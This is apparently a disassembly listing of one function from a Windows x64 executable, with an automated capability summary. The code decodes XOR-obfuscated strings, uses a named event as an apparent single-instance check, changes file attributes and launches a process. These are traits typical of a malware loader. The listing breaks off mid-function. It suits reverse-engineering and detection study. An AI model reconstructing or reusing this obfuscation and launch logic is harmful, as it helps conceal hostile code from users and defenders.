Function at 0x140016eb0
Capabilities:
Check if file exists
Create directory
Create process on windows
Create process suspended
Encode data using xor
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x1400650c0]
xor rax, rsp
mov qword [rbp + 0x550], rax
mov ecx, 0x114d
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001b660
lea r9, str.yNyNM340JKYYifR6z0kOLtGxs
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r12, rax
test rax, rax
je 0x140018056
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140016f35
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140018054
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xor r13d, r13d
mov qword [rbp + 0x3c0], r13
mov qword [rbp + 0x3c8], r13
lea rdx, str.__________.______________.___________._____.______._.____________________.___.________.__.___.__________._________._._________________________.___._________________.___._________________._.__________________._____._____________.________________________________________________________________.__________________________.__.______________________.__________________________________________________________.__________________________________._____________________.______________._____.____.________________._.___._______.________.__________.______.____.______.____._________.______.____.____._____._____________._____________.________.___._____________._____________.___________.______.____.___________.________.____._____________.______.__.___________._____________.___________._____________._______.___________.__________._____________.___________._________._____________.__._______.__.__.____.__._____.__._______.__.________.__._______.__._________._____________._____________._____________.____________.______________.______________._______._______________.__._______.__._____.__.__.__.__._____.__._________.__.________.__._______.__.__.__._____________.__.__.______.__._____.__._____.__.______.__._________.__.________.__._________.______.___.______._____.______.___.______._____.______._____.______._____.__._________.__.__.____.__.________.__.__.__.__.__.__.___________._________._______________.____.______._________.___________._______________.___________._______________._________.___________._____________.__._______.__.__.______.__._____.__._______.__.________.__._______.__.___________._________._____________._________.____________.______________.____________._______._____________.__._________.__._________.__.__.____.__._______.__._________.__.________.__._________.__.__.____._____________._______________.__.__.______.__._______.__._______.__.________.__._______.__.______.__._________.______._____.______._______.______.___.______._____.______._____.______._______.__._______.__.__.____.__.________.__.__.____.__.__.__.___________.__.____.__.________._____________.______.____._____________._____________.__._________.___________.___________.___________._________.__._______._________.____._____._________._________.__._______._____________._____________.___________.__.______.__.________.___________._______________.___________._________._______________.__._______.__.__.______.__._______.__.___________.__.________.__._____.__._______._________._____________.____
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rdx + r8], r13b
jne 0x140016f61
lea rcx, [rbp + 0x3b0]
call fcn.140002e60
nop
call fcn.140018900
mov r9, rax
cmp byte [rax + 0x53], 0
je 0x140016fc1
mov rdx, r13
movabs r8, 0x31070921874b0533
nop dword [rax]
nop word [rax + rax]
movzx ecx, dl
and cl, 7
shl cl, 3
mov rax, r8
shr rax, cl
xor byte [rdx + r9], al
inc rdx
cmp rdx, 0x53
jb 0x140016fa0
mov byte [r9 + 0x53], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], r13
mov qword [rbp + 0x308], r13
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140016fe0
mov rdx, r9
lea rcx, [rbp + 0x2f0]
call fcn.140002e60
nop
call fcn.140018a00
mov rcx, rax
call fcn.14001a940
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140017022
mov rdx, rcx
lea rcx, [rbp + 0x370]
call fcn.140002e60
nop
call fcn.140018af0
mov rcx, rax
call fcn.14001a840
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140017064
mov rdx, rcx
lea rcx, [rbp + 0x390]
call fcn.140002e60
nop
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x440]
call fcn.140039fb0
mov ebx, 2
mov r8d, ebx
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x440]
call fcn.140019cc0
nop
lea r15d, [rbx + 4]
cmp qword [rbp + 0x4c8], 0
je 0x140017152
lea rdx, [rbp + 0x3b0]
cmp qword [rbp + 0x3c8], 0xf
cmova rdx, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x3c0]
lea rcx, [rbp + 0x440]
call fcn.140003430
lea rcx, [rbp + 0x448]
call fcn.14001a740
test rax, rax
jne 0x140017133
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx + 0x488], 0
cmovne eax, ebx
or eax, dword [rbp + rcx + 0x450]
and eax, 0x17
mov dword [rbp + rcx + 0x450], eax
and eax, dword [rbp + rcx + 0x454]
jne 0x140018795
lea rcx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0xf
cmova rcx, qword [rbp + 0x2f0]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movdqa xmm0, xmmword [0x14005c690]
mov dword [rbp + 0x2c8], 0x4f220947
mov dword [rbp + 0x2cc], 0xfc7750d5
mov dword [rbp + 0x2d0], 0x492e2f75
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x27fc
mov eax, dword [rcx + rdi]
mov ebx, 0x2848
test al, 1
jne 0x140017208
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rbp + 0x2d4]
cmp rcx, rdx
ja 0x1400171de
lea rdx, [rbp + 0x2b8]
cmp rax, rdx
jb 0x1400171de
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2c8]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2d0]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xb1
jmp 0x1400171fb
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2c8]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2d0]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xb1
lea rcx, [0x14003b990]
call fcn.14001e4f8
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1d], 0
je 0x140017289
xor byte [rdx], 0x1b
xor byte [rdx + 1], 0x4b
xor byte [rdx + 2], 0x4b
xor byte [rdx + 3], 0x3b
xor byte [rdx + 4], 0xb1
xor byte [rdx + 5], 0x35
xor byte [rdx + 6], 0x11
xor byte [rdx + 7], 0x99
xor byte [rdx + 8], 0x1b
xor byte [rdx + 9], 0x4b
xor byte [rdx + 0xa], 0x4b
xor byte [rdx + 0xb], 0x3b
xor byte [rdx + 0xc], 0xb1
xor byte [rdx + 0xd], 0x35
xor byte [rdx + 0xe], 0x11
xor byte [rdx + 0xf], 0x99
xor byte [rdx + 0x10], 0x1b
xor byte [rdx + 0x11], 0x4b
xor byte [rdx + 0x12], 0x4b
xor byte [rdx + 0x13], 0x3b
xor byte [rdx + 0x14], 0xb1
xor byte [rdx + 0x15], 0x35
xor byte [rdx + 0x16], 0x11
xor byte [rdx + 0x17], 0x99
xor byte [rdx + 0x18], 0x1b
xor byte [rdx + 0x19], 0x4b
xor byte [rdx + 0x1a], 0x4b
xor byte [rdx + 0x1b], 0x3b
xor byte [rdx + 0x1c], 0xb1
mov byte [rdx + 0x1d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], r13
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x1400172a4
lea rcx, [rbp + 0x350]
call fcn.140002e60
nop
lea rcx, [rbp + 0x350]
mov rbx, qword [rbp + 0x360]
cmp qword [rbp + 0x368], 0xf
jbe 0x1400172df
mov rsi, qword [rbp + 0x350]
add rbx, rsi
jmp 0x1400172e9
add rbx, rcx
lea rsi, [rbp + 0x350]
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov eax, 0xa
movabs r14, 0x7ffffffffffffffe
cmp rsi, rbx
jne 0x140017326
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
jmp 0x1400173f8
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x220], rdx
mov r8d, 7
mov qword [rbp + 0x228], r8
cmp rdi, r14
ja 0x1400187eb
cmp rdi, r8
jbe 0x1400173a0
or rdi, r8
cmp rdi, r14
jbe 0x14001735e
mov rdi, r14
jmp 0x140017365
cmp rdi, rax
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x210]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x228], r8
mov rdx, qword [rbp + 0x220]
nop word [rax + rax]
lea rcx, [rbp + 0x210]
cmp r8, 7
cmova rcx, qword [rbp + 0x210]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x220]
inc rdx
mov qword [rbp + 0x220], rdx
inc rsi
cmp rsi, rbx
je 0x1400173dc
mov r8, qword [rbp + 0x228]
jmp 0x1400173a0
lea rax, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rax, qword [rbp + 0x210]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14005c530]
mov dword [rbp + 0x2e8], 0xa8031b8d
mov word [rbp + 0x2ec], 0x3f94
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x29b4
mov eax, dword [rcx + rdi]
mov ebx, 0x2868
test al, 1
jne 0x14001749f
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp + 0x2ee]
cmp rcx, rdx
ja 0x140017477
lea rdx, [rbp + 0x2d8]
cmp rax, rdx
jb 0x140017477
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x2e8]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x2ec]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x99
jmp 0x140017492
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x2e8]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x2ec]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x99
lea rcx, [0x14003b960]
call fcn.14001e4f8
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0x17], 0
je 0x140017505
xor byte [rdx], 0xd1
xor byte [rdx + 1], 0x5f
xor byte [rdx + 2], 0x71
not byte [rdx + 3]
xor byte [rdx + 4], 0xf1
xor byte [rdx + 5], 0x5d
xor byte [rdx + 6], 0x99
xor byte [rdx + 7], 0xeb
xor byte [rdx + 8], 0xd1
xor byte [rdx + 9], 0x5f
xor byte [rdx + 0xa], 0x71
not byte [rdx + 0xb]
xor byte [rdx + 0xc], 0xf1
xor byte [rdx + 0xd], 0x5d
xor byte [rdx + 0xe], 0x99
xor byte [rdx + 0xf], 0xeb
xor byte [rdx + 0x10], 0xd1
xor byte [rdx + 0x11], 0x5f
xor byte [rdx + 0x12], 0x71
not byte [rdx + 0x13]
xor byte [rdx + 0x14], 0xf1
xor byte [rdx + 0x15], 0x5d
xor byte [rdx + 0x16], 0x99
mov byte [rdx + 0x17], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140017524
lea rcx, [rbp + 0x330]
call fcn.140002e60
nop
lea rcx, [rbp + 0x330]
mov rbx, qword [rbp + 0x340]
cmp qword [rbp + 0x348], 0xf
jbe 0x14001755f
mov rsi, qword [rbp + 0x330]
add rbx, rsi
jmp 0x140017569
add rbx, rcx
lea rsi, [rbp + 0x330]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
cmp rsi, rbx
jne 0x140017597
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
jmp 0x140017668
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x200], rdx
mov r8d, 7
mov qword [rbp + 0x208], r8
cmp rdi, r14
ja 0x1400187f1
cmp rdi, r8
jbe 0x140017610
or rdi, r8
cmp rdi, r14
jbe 0x1400175cf
mov rdi, r14
jmp 0x1400175dc
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1f0]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x208], r8
mov rdx, qword [rbp + 0x200]
nop
lea rcx, [rbp + 0x1f0]
cmp r8, 7
cmova rcx, qword [rbp + 0x1f0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x200]
inc rdx
mov qword [rbp + 0x200], rdx
inc rsi
cmp rsi, rbx
je 0x14001764c
mov r8, qword [rbp + 0x208]
jmp 0x140017610
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rax, qword [rbp + 0x1f0]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14005c4c0]
mov dword [rbp + 0x260], 0xb122af6b
mov dword [rbp + 0x264], 0x6c1d4720
mov dword [rbp + 0x268], 0xb6239e51
mov word [rbp + 0x26c], 0x2b24
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x29d8
mov eax, dword [rcx + rdi]
mov ebx, 0x29e0
test al, 1
jne 0x140017739
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x26d]
cmp rcx, rdx
ja 0x140017708
lea rdx, [rbp + 0x250]
cmp rax, rdx
jb 0x140017708
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
jmp 0x14001772c
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003b930]
call fcn.14001e4f8
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1e], 0
je 0x1400177be
xor byte [rdx], 0x37
xor byte [rdx + 1], 0xfb
xor byte [rdx + 2], 0x4d
xor byte [rdx + 3], 0xc5
xor byte [rdx + 4], 0x41
xor byte [rdx + 5], 0x2b
xor byte [rdx + 6], 0x59
xor byte [rdx + 7], 9
xor byte [rdx + 8], 0x37
xor byte [rdx + 9], 0xfb
xor byte [rdx + 0xa], 0x4d
xor byte [rdx + 0xb], 0xc5
xor byte [rdx + 0xc], 0x41
xor byte [rdx + 0xd], 0x2b
xor byte [rdx + 0xe], 0x59
xor byte [rdx + 0xf], 9
xor byte [rdx + 0x10], 0x37
xor byte [rdx + 0x11], 0xfb
xor byte [rdx + 0x12], 0x4d
xor byte [rdx + 0x13], 0xc5
xor byte [rdx + 0x14], 0x41
xor byte [rdx + 0x15], 0x2b
xor byte [rdx + 0x16], 0x59
xor byte [rdx + 0x17], 9
xor byte [rdx + 0x18], 0x37
xor byte [rdx + 0x19], 0xfb
xor byte [rdx + 0x1a], 0x4d
xor byte [rdx + 0x1b], 0xc5
xor byte [rdx + 0x1c], 0x41
xor byte [rdx + 0x1d], 0x2b
mov byte [rdx + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], r13
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x1400177e0
lea rcx, [rbp + 0x310]
call fcn.140002e60
nop
lea rcx, [rbp + 0x310]
mov rbx, qword [rbp + 0x320]
cmp qword [rbp + 0x328], 0xf
jbe 0x14001781b
mov rsi, qword [rbp + 0x310]
add rbx, rsi
jmp 0x140017825
add rbx, rcx
lea rsi, [rbp + 0x310]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
cmp rsi, rbx
jne 0x140017853
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
jmp 0x14001792f
mov rax, rbx
sub rax, rsi
mov rdx, r13
mov qword [rbp + 0x1e0], rdx
mov edi, 7
mov qword [rbp + 0x1e8], rdi
cmp rax, r14
ja 0x1400187f7
cmp rax, rdi
jbe 0x1400178d0
or rax, rdi
cmp rax, r14
ja 0x140017895
mov r14, rax
cmp rax, 0xa
mov eax, 0xa
cmovb r14, rax
lea rdi, [r14 + 1]
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1d0]
call fcn.140002df0
dec rdi
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1e8], rdi
mov rdx, qword [rbp + 0x1e0]
nop word [rax + rax]
lea rcx, [rbp + 0x1d0]
cmp rdi, 7
cmova rcx, qword [rbp + 0x1d0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x1e0]
inc rdx
mov qword [rbp + 0x1e0], rdx
inc rsi
cmp rsi, rbx
je 0x14001790c
mov rdi, qword [rbp + 0x1e8]
jmp 0x1400178d0
lea rax, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rax, qword [rbp + 0x1d0]
mov word [rax + rdx*2], r13w
mov rdi, 0xffffffffffffffff
lea rcx, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rcx, qword [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r14, vtable.std::ios_base.0
cmp eax, 0xffffffff
je 0x140017963
test al, 0x10
jne 0x1400179b7
lea rcx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140017989
test al, 0x10
jne 0x1400179b7
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140018086
test al, 0x10
je 0x140018086
call fcn.140018bd0
mov r9, rax
cmp byte [rax + 0x8e], 0
je 0x140017a1f
lea rdx, [rax + 1]
mov r8, rdi
sub r8, rax
movabs r10, 0x4dc13fb38feb1737
nop dword [rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x8e
jb 0x1400179e0
mov byte [r9 + 0x8e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], r13
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140017a40
mov rdx, r9
lea rcx, [rbp + 0x230]
call fcn.140002e60
nop
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x290]
call fcn.14001ac40
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x140017ab6
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017ab1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400187fd
call fcn.14001e3e0
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], 0
mov rcx, qword [rbp + 0x2a0]
inc rcx
mov eax, 2
mul rcx
cmovo rax, rdi
mov rcx, rax
call fcn.14001e590
mov rbx, rax
lea r8, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova r8, qword [rbp + 0x290]
mov ecx, dword [rbp + 0x2a0]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rdx, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0xf
cmova rdx, qword [rbp + 0x290]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001e3e0
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x140017c37
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017c32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018803
call fcn.14001e3e0
lea rbx, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0xf
cmova rcx, qword [rbp + 0x2f0]
call fcn.140026d40
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 7
jbe 0x140017caa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017ca5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018809
call fcn.14001e3e0
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x140017d05
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017d00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188c9
call fcn.14001e3e0
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 7
jbe 0x140017d64
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017d5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188cf
call fcn.14001e3e0
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x140017dbf
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017dba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188d5
call fcn.14001e3e0
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 7
jbe 0x140017e1e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017e19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188db
call fcn.14001e3e0
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x140017e79
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017e74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188e1
call fcn.14001e3e0
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], 0
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], rsi
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x43c], edx
lea rcx, [rbp + 0x448]
call fcn.140019c10
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], rbx
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x43c], edx
mov qword [rbp + 0x4e8], r14
lea rcx, [rbp + 0x4e8]
call fcn.14001d964
nop
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0xf
jbe 0x140017f46
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188e7
call fcn.14001e3e0
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], 0xf
mov byte [rbp + 0x390], 0
mov rdx, qword [rbp + 0x388]
cmp rdx, 0xf
jbe 0x140017fa0
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188ed
call fcn.14001e3e0
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], 0xf
mov byte [rbp + 0x370], 0
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x140017ffa
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017ff5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188f3
call fcn.14001e3e0
mov qword [rbp + 0x300], r13
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], 0
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x140018054
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001804f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001878f
call fcn.14001e3e0
xor eax, eax
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.14001e3c0
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movdqa xmm0, xmmword [0x14005c330]
mov dword [rbp + 0x280], 0xbb54530e
mov dword [rbp + 0x284], 0x388cda39
mov dword [rbp + 0x288], 0xa158471e
mov word [rbp + 0x28c], 0x8924
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2a40
mov eax, dword [rcx + rdi]
mov ebx, 0x29b8
test al, 1
jne 0x140018157
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x28d]
cmp rcx, rdx
ja 0x140018126
lea rdx, [rbp + 0x270]
cmp rax, rdx
jb 0x140018126
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x280]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x288]
